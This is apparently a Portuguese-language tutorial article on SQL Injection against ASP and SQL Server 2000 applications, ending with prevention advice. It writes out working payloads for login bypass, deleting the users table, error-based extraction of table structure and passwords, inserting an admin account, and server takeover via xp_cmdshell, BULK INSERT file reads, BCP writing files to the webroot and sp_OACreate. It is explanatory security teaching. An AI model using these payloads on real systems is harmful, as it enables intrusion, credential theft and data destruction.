Segurança sempre foi e será um tema que preocupa todos nós, seja em casa, nas ruas ou no trabalho. Quando falamos de segurança em informática, não existe um só departamento de uma única empresa que não tenha também esta preocupação. Se questionarmos sobre segurança com desenvolvedores e DBAs, a preocupação será maior ainda, pois são justamente estes dois departamentos os principais responsáveis pelas aplicações que as empresas disponibilizam na rede local (intranet), ou global (internet). São vários os objetos dessa preocupação, mas existe um tema relativamente antigo, desconhecidos por muitos, mas com potencial devastador quando explorado: o SQL Injection, que será o assunto dessa matéria.

O que é SQL Injection?

O SQL Injection é uma técnica de ataque baseada na manipulação do código SQL, que é a linguagem utilizada para troca de informações entre aplicativos e bancos de dados relacionais. Como a maioria dos fabricantes de software utiliza o padrão SQL-92 ANSI (ver Nota 1) na escrita do código SQL, os problemas e as falhas de segurança aqui apresentadas se aplicam a todo ambiente que faz uso desse padrão para troca de informações - o que inclui, por exemplo, servidores Oracle. Nesse artigo foram utilizados servidores da plataforma Microsoft: Internet Information Server, Active Server Pages e Microsoft SQL Server.

Nota 1: ANS

O American National Standards Institute (ANSI) é uma organização sem fins lucrativos cuja finalidade é criar padrões de aceitação internacional sobre um determinado assunto.

SQL Injection: O que é? Por que funciona?

SQL Injection é uma classe de ataque onde o invasor pode inserir ou manipular consultas criadas pela aplicação, que são enviadas diretamente para o banco de dados relacional.

Por que o SQL Injection funciona?

  • Por que a aplicação aceita dados arbitrários fornecidos pelo usuário (“confia” no texto digitado);
  • As conexões são feitas no contexto de um usuário com privilégios altos.

Para entendermos um pouco melhor o que é SQL Injection e por que funciona, vamos analisar exemplos práticos.

Ataques de SQL Injection pela tela de Login

A técnica mais simples de ataque que explora SQL Injection é a que “engana” o formulário login de uma aplicação. Suponha que uma determinada aplicação web faça uso do código exibido na Listagem 1, em que o usuário digita seu nome e senha.

Código de um formulário de uma aplicação web
Listagem 1. Código de um formulário de uma aplicação web onde o usuário digita nome e senha

A Figura 1 ilustra como este formulário é exibido para o usuário

Tela Login
Figura 1. Tela de Login onde o usuário digita nome (Username) e senha (Password)

O código presente na Listagem 2 mostra como a informação digitada pelo usuário será processada na aplicação web.

Código de validação de usuário e senha
Listagem 2. Código de validação de usuário e senha

Ao digitar o nome e senha (ver Figura 1), a aplicação web dispara uma consulta na tabela “USERS” para confirmação do cadastro do usuário. Se um registro for encontrado, o username será retornado e esta é a confirmação de que o usuário foi autenticado com sucesso. Se a consulta na tabela “USERS” não retornar registros, o usuário não será autenticado.

O principal problema do código da Listagem 2 é o trecho responsável pela montagem do comando sql que será executado (ver Listagem 3).


var sql = "select * from users where username = '" + username + 
"' and password = '" + password + "'";
Listagem 3. Código que concatena o comando sql a ser executado

Este código é problemático porque não realiza nenhum tipo de validação nos dados que foram digitados pelo usuário. Isso permite que um usuário mal intencionado, que conheça somente o nome de um usuário válido, consiga “burlar” a digitação da senha informando os seguintes parâmetros na tela de autenticação (ver Listagem 4 )


Username: admin'--

Password:
Listagem 4. Parâmetro para login sem a necessidade de especificar a senha

No exemplo da Listagem 4 o usuário mal intencionado será autenticado com sucesso pois a seqüência de caracteres “--” faz com que todo o restante do comando após esta seqüência seja considerado como comentário. O comando será executado sem retornar erros, pois o código “"' AND PASSWORD = '" + PASSWORD + "'";” não será processado.

Agora suponha que, em oposição ao exemplo anterior, o invasor não tenha conhecimento de um nome de usuário válido. Neste caso, ele pode se autenticar com as credenciais do primeiro usuário cadastrado na tabela “USERS” conforme mostra a Listagem 5.


  Username: ' or 1=1--

  Password:
Listagem 5. Login com as credenciais do primeiro usuário cadastrado na tabela “USERS”

A utilização destes parâmetros fará com que a comparação “1=1” seja processada como parte da consulta. Como esta comparação é sempre verdadeira, todos os registros da tabela serão retornados. Como seu resultado esta sendo armazenado em uma variável, o nome do primeiro usuário será considerado. Observe que também neste caso é utilizada a seqüência de caracteres “--” para que o restante do código não seja processado.

Se o invasor estiver mal intencionado, ele pode, por exemplo, excluir todos os registros da tabela “USERS” de modo que nenhum usuário mais tenha acesso ao sistema, conforme exemplificado na Listagem 6.


  Username: '; delete from users--

  Password:
Listagem 6. Parâmetros de usuário e senha especificados por um usuário mal intencionado

Neste caso, a única novidade é o caractere “;” que especifica o término de um comando SQL e o início de outro.

Ataques através da interpretação das mensagens de erro

Para manipular os dados em um database, o usuário mal intencionado precisa descobrir a estrutura de alguns objetos. A tabela “USERS” utilizada nos exemplos anteriores poderia ter sido criada e populada através do código exibido na Listagem 7.


create table users

(

id int,

username varchar(255),

password varchar(255),

privs int

)

go

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )

insert into users values( 0, 'guest', 'guest', 0x0000 )

insert into users values( 0, 'chris', 'password', 0x00ff )

insert into users values( 0, 'fred', 'sesame', 0x00ff )

go
Listagem 7. Comando utilizado para a criação da tabela “USERS” e inserção de dados

Suponha que nosso usuário mal intencionado queira cadastrar um usuário nessa tabela. Sem conhecer a estrutura da tabela, ele terá poucas chances de sucesso. Mesmo que ele tenha sorte, o significado das colunas pode não ser claro o bastante – veja o caso da coluna “PRIVS”, responsável pelo armazenamento dos privilégios dos usuários: um usuário mal intencionado poderia inserir o valor “1” nessa coluna, quando na verdade gostaria de atribuir o valor “65535” para que possuísse privilégios administrativos na aplicação.

Felizmente, para este usuário mal intencionado, se as mensagens de erro forem retornadas diretamente da aplicação (comportamento padrão ASP), ele poderá descobrir não só a estrutura da tabela – dependendo do padrão de segurança atribuído ao usuário conectado no banco – mas também alterar e criar objetos diretamente no banco de dados SQL Server. Os exemplos a seguir irão ilustrar essa técnica.

Inicialmente o usuário mal intencionado precisa descobrir os nomes das tabelas e colunas onde as consultas são executadas. Para isso, ele pode utilizar a cláusula HAVING do comando SELECT conforme demonstrado na Listagem 8.


Username: ' having 1=1--

-- Error

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the 
select list because it is not contained in an aggregate function and there is no GROUP BY clause.



/process_login.asp, line 35
Listagem 8. Uso da cláusula “HAVING” para obtenção de um erro que retorna o nome da tabela e da sua primeira coluna

Nesse momento o usuário mal intencionado já sabe o nome da tabela (“USERSIS”) e sua primeira coluna (“ID”) e pode continuar reproduzindo este erro, introduzindo agora o nome da coluna descoberta em uma cláusula GROUP BY para descobrir o nome da coluna seguinte (ver Listagem 9).


Username: ' group by users.id having 1=1--

-- Error

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select
list because it is not contained in either an aggregate function or the GROUP BY clause.

 

/process_login.asp, line 35
Listagem 9. Uso da cláusula “HAVING” para obtenção de um erro que retorna o nome da segunda coluna da tabela

Com isso, descobriu-se a coluna seguinte (“USERNAME”) e, em um processo de repetição, obtém-se os nomes de todas as colunas da tabela. Ao final – quando todas as colunas forem utilizadas – o comando não retornará erro e o nosso usuário mal intencionado ficará conhecendo a estrutura da tabela “USERS” (ver Listagem 10).


Username: ' group by users.id, users.username, users.password, users.privs having 1=1--
Listagem 10. Uso da cláusula “HAVING” com todos os campos da tabela

A consulta processada pelo servidor na Listagem 10 é equivalente ao comando exibido na Listagem 11.


  select * from users where username = ''
Listagem 11. Comando equivalente ao processado pelo servidor ao final do processo

Com isso o usuário mal intencionado já sabe que a consulta referencia somente a tabela “USERS” e as colunas utilizadas são “ID,USERNAME, PASSWORD, PRIVS” nesta ordem.

Seria interessante descobrir o tipo de dado de cada coluna. Isso pode ser obtido com a utilização de uma mensagem de erro do tipo “type conversion” conforme exibido na Listagem 12.


Username: ' union select sum(username) from users--

 

-- Error

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation 
cannot take a varchar data type as an argument.

 

/process_login.asp, line 35
Listagem 12. Erro que permite identificar o tipo de dado de uma coluna

Esta técnica se aproveita do fato do SQL Server processar a cláusula SUM antes de verificar se o número de colunas presentes nos dois comandos SELECT (necessário para processar o UNION) são iguais. A tentativa de executar uma soma em uma coluna tipo caracter resulta em uma incompatibilidade, caracterizada pelo erro que descreve a coluna “USERNAME” como VARCHAR. Se por outro lado tentássemos executar a soma de um campo numérico, o erro retornado informaria que o numero de colunas nos dois comandos SELECT é diferente, o que pode ser constatado pelo código presente na Listagem 13.


Username: ' union select sum(id) from users--

-- Error

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement 
containing a UNION operator must have an equal number of expressions in their target lists.


/process_login.asp, line 35
Listagem 13. Erro que permite identificar o tipo de dado de uma é numérico

Esta técnica pode ser utilizada para identificar, de modo aproximado, o tipo de dado de cada coluna em cada tabela no banco de dados. Assim, conhecendo-se as colunas da tabela “USERS”, nosso usuário mal intencionado pode criar um comando INSERT coerente com a estrutura da tabela (ver Listagem 14 ).


Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Listagem 14. Cadastro realizado pelo usuário mal intencionado depois obter a estrutura aproximada da tabela

O problema é que o potencial desta técnica não está limitado a esse tipo de ação. Nosso usuário mal intencionado pode se aproveitar de qualquer mensagem de erro que revele informações sobre o ambiente ou banco de dados que está sendo utilizado. Uma forma de explorar este recurso é através de mensagens relacionadas com conversão de tipo de dados: se você tentar converter um tipo de dado caractere (CHAR) em um tipo de dado numérico (INTEGER), todos os caracteres são retornados na mensagem de erro. Com isso, o usuário mal intencionado pode obter, por exemplo, a versão do SQL Server que você esta utilizando e o sistema operacional. Um exemplo disso pode ser visto na Listagem 15 a seguir.


Username: ' union select @@version,1,1,1--
 

-- Error


Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft]
[ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 
'Microsoft SQL Server 2000 - 8.00.760 (Intel X86)

Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on 
Windows NT 5.2 (Build 3790: Service Pack 1)' to a column of data type int.

 

/process_login.asp, line 35
Listagem 15. Erro que retorna a versão do SQL Server e do sistema operacional

Esta mensagem de erro é devido à tentativa de conversão da variável global @@VERSION em um tipo de dado numérico, fato que acontece porque a primeira coluna da tabela “USERS” é numérica.

Esta técnica pode ser utilizada para leitura de qualquer valor em qualquer tabela no banco de dados. Para obter nomes de usuários e senhas, o usuário mal intencionado pode obter o nome dos usuários a partir da tabela “USERS” utilizando o comando exibido na Listagem 16.


Username: ' union select min(username),1,1,1 from users where username > 'a'--

 

-- Error

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

 

/process_login.asp, line 35

Listagem 16. Erro que retorna o nome do primeiro usuário cadastrado na tabela “USERS”

O que este comando faz é selecionar o menor nome de usuário que é maior do que ‘a’ e depois tenta convertê-lo para um tipo de dado numérico. Com isso, nosso usuário mal intencionado já sabe que a conta “ADMIN” existe. Agora ele pode navegar entre as linhas da tabela substituindo cada novo nome de usuário descoberto na cláusula WHERE (ver Listagem 17).


Username: ' union select min(username),1,1,1 from users where username > 'admin'--

 
-- Error

 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

 

/process_login.asp, line 35
Listagem 17. Erro que retorna o nome do segundo usuário cadastrado na tabela “USERS”

Uma vez descobertos todos os usuários cadastrados, nosso usuário mal intencionado pode ampliar seus horizontes descobrindo senhas, conforme exibido na Listagem 18.


Username: ' union select password,1,1,1 from users where username = 'admin'--

 

-- Error

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

 

/process_login.asp, line 35
Listagem 18. Erro que retorna a senha do usuário “ADMIN”

Uma forma mais elegante de obter estas informações é concatenar todos os usuários e senhas em uma única seqüência de caracteres e então tentar converter esta seqüência para um tipo de dado numérico. E isso mostra uma outra informação, a de que comandos T-SQL podem ser concatenados na mesma linha sem que seu resultado seja alterado. A Listagem 19 mostra um exemplo disso.


Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+ username +'/'+ 
password from users where username>@ret select @ret as ret into foo end--

 

Username: ' union select ret,1,1,1 from foo--

 

-- Error

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! 
guest/guest chris/password fred/sesame' to a column of data type int.

 

/process_login.asp, line 35
Listagem 19. Erro que retorna a todos os usuários e as senhas da tabela “USERS”

Na Listagem 19 o usuário mal intencionado precisou executar dois comandos: o primeiro cria uma tabela “FOO” e insere na coluna “RET” uma seqüência de caracteres. Se o usuário não possuir privilégios para criação de uma tabela permanente, existe a opção de criar uma temporária. O passo seguinte foi tentar converter esta string em um valor numérico.

Estes exemplos dão uma visão superficial da flexibilidade desta técnica. De modo geral, quanto mais detalhada for a mensagem de erro que o usuário mal intencionado recebe, mais fácil o seu trabalho.

Obtendo mais acessos

Uma vez que o usuário mal intencionado adquiriu o controle da estrutura dos objetos do banco de dados, o próximo passo é utilizar os direitos inerentes ao usuário para controle da rede, o que pode ser feito de várias formas:

  1. A extended stored-procedure XP_CMDSHELL pode ser utilizada para processar comados no contexto do usuário que está executando o serviço do SQL Server no servidor de banco de dados;
  2. A extended stored procedure XP_REGREAD pode ser utilizada na leitura de chaves do registro e potencialmente o SAM (Security Accounts Manager) – caso o SQL Server esteja sendo executado com Local System Account;
  3. Pela utilização de outras extended stored procedure no servidor;
  4. Através a criação de extended stored procedures para execução de aplicativos no contexto do processo do SQL Server;
  5. O comando BULK INSERT pode ser utilizado na leitura de qualquer arquivo no servidor;
  6. O comando BCP pode ser utilizado para criação de arquivos arbitrários no servidor;
  7. As rotinas sp_OACreate e sp_OAGetProperty podem ser utilizadas para criação de aplicações do tipo Ole Automation (ActiveX) que podem executar tudo o que um script ASP pode executar.

Estes são alguns exemplos de ataques mais comuns. É bastante provável que um usuário mal intencionado possa utilizar um cenário não mencionado aqui. Estes cenários foram listados como os mais óbvios em um ataque a um servidor SQL Server através de SQL Injection. Vamos analisar esses pontos.

Ataque a comandos do sistema operacional com XP_CMDSHELL

Extended stored procedures são essencialmente DDLs (Dynamic Link Libraries) compiladas que fazem uso de uma convenção de chamada específica do SQL Server para a execução de suas funções. Elas permitem que aplicações SQL Server tenham acesso a todo o potencial de programação do C/C++ e são um recurso extremamente útil. Um grande número de extended stored procedures já vem embutidas no SQL Server e realizam várias tarefas, como envio de e-mails e interação com o registro do servidor.

XP_CMDSHELL é uma das extended stored procedures que já vem com o SQL Server e que permite a execução de linhas de comandos da mesma forma que executamos no Command Prompt do Windows. A Listagem 20 mostra um exemplo da execução desta rotina com seu resultado.

Exemplo da execução de rotina
Listagem 20. Exemplo de execução da rotina “XP_CMDSHELL”

exec master..xp_cmdshell 'net1 user'

 

output 

-----------------------------------------------------------------------

NULL

User accounts for NULL

-------------------------------------------------------------------------------

Administrator            ASPNET                   Guest                   

IUSR_LOKI                IWAM_LOKI                SQLDebugger             

SUPPORT_388945a0         WADM_LOKI               

The command completed with one or more errors.

NULL

NULL

 

(10 row(s) affected)
Listagem 21. Exemplo de execução da rotina “XP_CMDSHELL” para listar todos os usuários do servidor

Como o servidor SQL está sempre sendo executado com uma conta de domínio ou como “Local System Account”, o usuário mal intencionado pode fazer um grande estrago utilizando esta rotina (ver Nota 2).

Nota 2: “XP_CMDSHELL” no SQL Server 2005

O SQL Server 2005 já vem com a extended stored procedure “XP_CMDSHELL” desabilitada diferentemente do SQL Server 2000, que vem com ela habilitada.

Ataque ao registro com XP_REGREAD

Um outro conjunto de extended stored procedures que já vem embutidas no SQL Server são funções que começam com “XP_REG”. Elas são as seguintes:

  • xp_regaddmultistring
  • xp_regdeletekey
  • xp_regdeletevalue
  • xp_regenumkeys
  • xp_regenumvalues
  • xp_regread
  • xp_regremovemultistring
  • xp_regwrite

Estas rotinas podem ser utilizadas, por exemplo, para determinar todos os null-session shares do servidor (ver Nota 3), conforme mostra a Listagem 22.


exec master..xp_regread HKEY_LOCAL_MACHINE, 
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'

Value                          Data    

------------------------------ --------- -----

nullsessionshares - Item #1    COMCFG    NULL

nullsessionshares - Item #2    DFS

(2row(s)affected)

Listagem 22. Exemplo de execução da rotina “XP_REGREAD” para listar todos null-session shares do servidor
Nota 3: Null Session Shares

Null Session Shares são recursos compartilhados utilizados por aplicações que não são executadas no contexto do usuário-por exemplo aplicações executadas como Local System Account.

Através destas rotinas, o usuário mal intencionado pode alterar configurações de um determinado serviço para que ele seja inicializado quando for realizado um boot no servidor.

Ataques através a outras extended stored procedures

A extended stored procedure XP_SERVICECONTROL permite que o usuário inicialize, finalize, pare ou continue um determinado serviço. A Listagem 23 mostra exemplos dessa rotina.



exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'
Listagem 23. Exemplo de execução da rotina “XP_SERVICECONTROL” para iniciar serviços no servidor

Outras extended stored procedures podem ser utilizadas em ataques:

  • XP_ENUMDSN (lista os dispositivos ODBC criados no servidor);
  • XP_LOGINCONFIG (exibe o modo de segurança do servidor);
  • XP_MAKECAB (permite que o usuário crie arquivos compactados no servidor);
  • XP_NTSEC_ENUMDOMAINS (exibe os domínios que o servidor tem acesso);
  • XP_TERMINATE_PROCESS (finaliza um processo com um PID específico).

Ataque com criação de extended stored procedures

A API das extended stored procedures é relativamente simples, assim como não é muito difícil criar uma DLL que contenha código malicioso. Pode-se enviar uma DLL para um servidor SQL Server utilizando linhas de comando Command Prompt, assim como pode-se utilizar mecanismos de comunicação que podem ser automatizados como downloads HTTP ou scripts FTP.

Uma vez que a DLL esta presente no servidor onde o SQL Server esta instalado, o usuário malicioso pode criar, executar, e excluir uma extended stored procedure utilizando os comandos presentes na Listagem 24.


use master

go

 

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

go

 

exec xp_webserver

go

 

sp_dropextendedproc 'xp_webserver'

go

Listagem 24. Exemplo de criação, execução e exclusão de uma extended stored procedure

Ataque pela leitura de arquivos-texto com BULK INSERT

Através do uso do comando BULK INSERT é possível atualizar uma tabela a partir de um arquivo-texto. Assim, o usuário malicioso pode, por exemplo, inserir o conteúdo de um arquivo qualquer do seu servidor em uma tabela e ler o seu conteúdo utilizando qualquer uma das técnicas de mensagens de erro comentadas anteriormente. A Listagem 25 mostra um exemplo disso.


create table foo( line varchar(8000) )

go

 
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

gov
Listagem 25. Exemplo de uso do “BULK INSERT”

Ataque que resulta na criação de arquivos com o comando BCP

O usuário mal intencionado pode facilmente criar arquivos no servidor utilizando uma técnica inversa à técnica ilustrada anteriormente. Essa técnica, entretanto, requer a utilização de um utilitário de linha de comando nativo do SQL Server: o BCP (Bulk Copy Program).

Como o BCP acessa o banco de dados através de um processo externo ao SQL Server, é necessário um usuário válido para ativar a conexão. Se o servidor estiver configurado para segurança integrada, o trabalho fica ainda mais fácil. Um exemplo da utilização do BCP pode ser visto na Listagem 26.


bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa
        -Pfoobar
Listagem 26. Exemplo de uso do “BCP”

Os parâmetros utilizados aqui são, “-S” para o nome do servidor, “-U” para o nome do usuário SQL e “-P” para a senha deste usuário no servidor SQL. Para utilizar segurança integrada, basta substituir os parâmetros -U e -P por -E.

Criação de scripts ActiveX: sp_OACreate e sp_OAGetProperty

Várias extended stored procedures que já vêm com o SQL Server permitem a criação de scripts ActiveX no SQL Server. Estes scripts têm a mesma funcionalidade de scripts que são executados no contexto do Windows Scripting Host ou de scripts ASP - eles normalmente são escritos em VBScript ou JavaScript, e podem criar objetos e interagir com eles. Um script desses escrito em Transact-SQL pode fazer tudo o que um script ASP ou WSH pode fazer. O exemplo da Listagem 27 utiliza o objeto “WSCRIPT.SHELL” para criar uma instancia do aplicativo Notepad.


-- wscript.shell example

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Listagem 27. Exemplo de uso das rotinas sp_OACreate e sp_OAGetProperty para executar o Notepad

SQL Injection: como prevenir

Valide sempre os dados digitados pelo usuário

A validação dos dados digitados pelo usuário pode ser um tema aparentemente inofensivo, mas é um dos principais motivos pelo qual se faz possível ataques SQL Injection. Para endereçá-lo, podemos adotar as seguintes abordagens:

  1. Rejeitar dados que são conhecidamente inválidos;
  2. Aceitar somente dados que são conhecidamente válidos.

A abordagem (1) possui como principal problema o fato do desenvolvedor não estar necessariamente ciente do que sejam dados inválidos que devem ser modificados, visto que novas formas de “dados inválidos” são sempre descobertos.

A abordagem (2) é a melhor opção e é a que deve ser utilizada. Um exemplo de implementação desta abordagem pode ser visto na Listagem 28 e poderia ser implementado no código da Listagem 2 exibido no inicio deste artigo.


function validate( input )

goodchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

validate = true

for i = 1 to len( input )

c = mid( input, i, 1 )

if ( InStr( goodchars, c ) = 0 ) then

validate = false

exit function

end if

next

end function
Listagem 28. Exemplo de função de validação que só permite letras e números

Crie usuários com permissões adequadas

Nunca se deve conectar no servidor SQL Server com um usuário genérico que seja proprietário do banco ou administrador do servidor. Este item é o segundo mais importante para a prevenção de ataques SQL Injection.

Nunca retorne as mensagens do servidor SQL para o usuário

Não retorne mensagens de erro do banco de dados diretamente para o usuário. Estas mensagens podem revelar informações importantes sobre seu servidor conforme vimos anteriormente.

Remova objetos que não serão utilizados

Muitas extended stored procedures podem ser removidas sem causar impacto para o servidor SQL Server. Se você não se sente seguro a pondo de remover uma determinada expended stored procedure, certifique-se de que nenhum usuário possa utilizá-la.

Remova os bancos de dados de exemplo: PUBS e NORTHWIND.

Habilite logs de segurança no servidor

Habilite os logs de segurança no servidor que achar necessário e certifique-se de que eles são verificados periodicamente. Você pode, por exemplo, habilitar o log das tentativas de login que foram rejeitadas pelo servidor SQL.

Finalizando o papo sobre SQL Injection

Neste artigo vimos que SQL Injection é uma classe de ataque onde o invasor pode manipular consultas criadas pela aplicação. Vimos também através de exemplos práticos que os dois principais fatores que contribuem para este tipo de ataque são a falta de validação dos dados digitados pelo usuário e a utilização de um usuário com altos privilégios pela aplicação. Com esses dados fica bem mais fácil entender a potencialidade dos ataques SQL Injection e, como medida preventiva, trabalhar para que sua aplicação não esteja sujeita a esse tipo de vulnerabilidade.

Saiu na DevMedia!

Saiba mais sobre SQL ;)

  • Guia SQL: Neste Guia de Referência você encontrará todo o conteúdo que precisa para aprender sobre a SQL, linguagem de consulta estruturada utilizada por programadores e DBAs para a execução de consultas e comandos nos principais SGBDs do mercado.
  • Trabalhando com a linguagem T-SQL: Este artigo apresenta o uso da linguagem T-SQL. Serão discutidos alguns recursos que podem ser usados no desenvolvimento e manipulação na consulta a dados usando a ferramenta SQL Server.
  • Conceitos e criação de views no SQL Server: Veja neste artigo como trabalhar com views no SQL Server, aprendendo como utilizar os comandos CREATE, ALTER e DROP VIEW.